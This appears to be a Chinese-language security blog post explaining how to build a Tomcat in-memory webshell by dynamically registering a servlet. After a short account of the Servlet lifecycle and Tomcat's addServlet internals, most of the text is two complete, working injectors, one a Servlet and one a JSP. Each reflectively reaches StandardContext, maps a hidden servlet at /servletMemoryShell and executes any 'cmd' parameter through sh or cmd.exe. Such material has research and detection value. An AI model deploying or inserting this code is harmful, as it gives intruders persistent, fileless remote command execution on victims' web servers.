Tomcat MemoryShell Of Servlet

Preparation

在Tomcat架构中,Servlet的生命周期分为五个部分:

  • 加载阶段:当Tomcat第一次访问Servlet时,会创建Servlet的实例。
  • 初始化阶段:当Servlet实例化后,Tomcat会调用init方法初始化这个对象。
  • 处理服务阶段:当浏览器访问Servlet时,Servlet会调用service方法处理请求。
  • 销毁阶段:当Tomcat关闭时或者检测到Servlet要从Tomcat删除时,会自动调用destroy方法,让该实例释放掉所占的资源。除此之外,一个Servlet如果长时间不被使用的话,也会被Tomcat自动销毁。
  • 卸载阶段:当Servlet调用完destroy方法后,会等待垃圾回收。如果有需要再次使用这个Servlet时,会重新调用init方法进行初始化操作。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
public interface Servlet {
// 由servlet容器调用,向servlet表明该servlet正在被投入服务。
// 在实例化servlet之后,servlet容器正好调用init方法一次。在servlet可以接收任何请求之前,init方法必须成功完成。
// 如果init方法出现以下情况,servlet容器就不能将servlet放入服务中
// 抛出一个ServletException
// 在Web服务器定义的时间段内没有返回
public void init(ServletConfig config) throws ServletException;

// 返回一个ServletConfig对象,其中包含该Servlet的初始化和启动参数。返回的ServletConfig对象是传递给init方法的对象。
// 这个接口的实现负责存储ServletConfig对象,以便这个方法能够返回它。实现这个接口的GenericServlet类已经做到了这一点。
public ServletConfig getServletConfig();

// 由servlet容器调用,允许servlet对请求作出响应。
// 这个方法只有在servlet的init()方法成功完成后才会被调用。
// 对于抛出或发送错误的servlet,响应的状态代码总是应该被设置。
// Servlet通常在多线程的Servlet容器内运行,可以同时处理多个请求。开发人员必须注意同步访问任何共享资源,如文件、网络连接和以及servlet的类和实例变量。关于Java中多线程编程的更多信息,可以在Java多线程编程教程中找到。
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException;

// 返回有关Servlet的信息,如作者、版本和版权。
// 该方法返回的字符串应该是纯文本,而不是任何形式的标记(如HTML、XML等)。
public String getServletInfo();

// 由servlet容器调用,向servlet表明该servlet将被退出服务。只有在servlet的服务方法中的所有线程都退出后,或者在超时期过后,才会调用这个方法。在servlet容器调用该方法后,它将不再调用该servlet的服务方法。
// 这个方法给了servlet一个机会来清理任何被保留的资源(例如,内存、文件句柄、线程),并确保任何持久化状态与servlet在内存中的当前状态同步。
public void destroy();
}

Process Analysis

与Filter内存马类似,在javax.servlet.ServletContext中同样存在着addServlet和createServlet方法。

跟进addServlet的实现方法org.apache.catalina.core.ApplicationContext#addServlet,在该方法中,先对传入的servletName进行检测,为空时会抛出异常。接着判断context的生命周期,如果处于LifecycleState.STARTING_PREP状态,同样会抛出异常。接着通过servletName从context中寻找相关联的子容器,并将其转换成Wrapper对象,当不存在时,会创建一个名字为servletName的wrapper,再将创建的wrapper添加到context的子容器中。最后判断servlet是否为null,当servlet == null时,会将传入的servletClass设置进wrapper中。最后调用org.apache.catalina.core.StandardContext#dynamicServletAdded方法进行servlet动态加载。

跟进org.apache.catalina.core.StandardContext#dynamicServletAdded方法,实例化一个ApplicationServletRegistration对象。

在org.apache.catalina.core.StandardContext#startInternal方法中,注意到servlet构造时调用的loadOnStartup方法中,会获取loadOnStartup的值,此时只有loadOnStartup的值大于0才会进行wrapper的加载。

Achievement

Idea

动态注入Servlet内存马的具体思路如下:

  1. 调用StandardContext.createWrapper为servlet创建wrapper;
  2. 配置LoadOnStartup启动优先级;
  3. 配置ServletName;
  4. 配置ServletClass;
  5. addChild添加wrapper到Context;
  6. addServletMapping添加映射。

Dynamic Registration

Servlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package servlet;

import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@WebServlet(name = "ServletMemoryShellServlet", value = "/ServletMemoryShellServlet")
public class ServletMemoryShellServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
super.doGet(request, response);
}

@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) {
try {
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

String servletMapping = standardContext.findServletMapping("servletMemoryShell");
if (servletMapping != null) {
return;
}

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletMemoryShell");
Servlet servletMemoryShell = new Servlet() {
public void init(ServletConfig servletConfig) {
}

public ServletConfig getServletConfig() {
return null;
}

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;

if (httpServletRequest.getParameter("cmd") != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", httpServletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", httpServletRequest.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
httpServletResponse.getWriter().write(output);
httpServletResponse.getWriter().flush();
}
}

public String getServletInfo() {
return null;
}

public void destroy() {
}
};
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servletMemoryShell);
wrapper.setServletClass(servletMemoryShell.getClass().getName());

standardContext.addChild(wrapper);
standardContext.addServletMapping("/servletMemoryShell", "servletMemoryShell");

response.getWriter().write("Servlet Inject Successfully...");
} catch (Exception e) {
e.printStackTrace();
}
}
}

JSP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>

<%
ServletContext servletContext = request.getSession().getServletContext();
Field context = servletContext.getClass().getDeclaredField("context");
context.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) context.get(servletContext);
Field context1 = applicationContext.getClass().getDeclaredField("context");
context1.setAccessible(true);
StandardContext standardContext = (StandardContext) context1.get(applicationContext);

String servletMapping = standardContext.findServletMapping("servletMemoryShell");
if (servletMapping != null) {
return;
}

Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("servletMemoryShell");
Servlet servletMemoryShell = new Servlet() {
public void init(ServletConfig servletConfig) {
}

public ServletConfig getServletConfig() {
return null;
}

public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws IOException {
HttpServletRequest httpServletRequest = (HttpServletRequest) servletRequest;
HttpServletResponse httpServletResponse = (HttpServletResponse) servletResponse;

if (httpServletRequest.getParameter("cmd") != null) {
boolean isLinux = true;
String osType = System.getProperty("os.name");
if (osType != null && osType.toLowerCase().contains("win")) {
isLinux = false;
}

String[] command = isLinux ? new String[]{"sh", "-c", httpServletRequest.getParameter("cmd")} : new String[]{"cmd.exe", "/c", httpServletRequest.getParameter("cmd")};
InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream();
Scanner scanner = new Scanner(inputStream).useDelimiter("h3rmesk1t");
String output = scanner.hasNext() ? scanner.next() : "";
httpServletResponse.getWriter().write(output);
httpServletResponse.getWriter().flush();
}
}

public String getServletInfo() {
return null;
}

public void destroy() {
}
};
wrapper.setLoadOnStartup(1);
wrapper.setServlet(servletMemoryShell);
wrapper.setServletClass(servletMemoryShell.getClass().getName());

standardContext.addChild(wrapper);
standardContext.addServletMapping("/servletMemoryShell", "servletMemoryShell");

response.getWriter().write("Servlet Inject Successfully...");
%>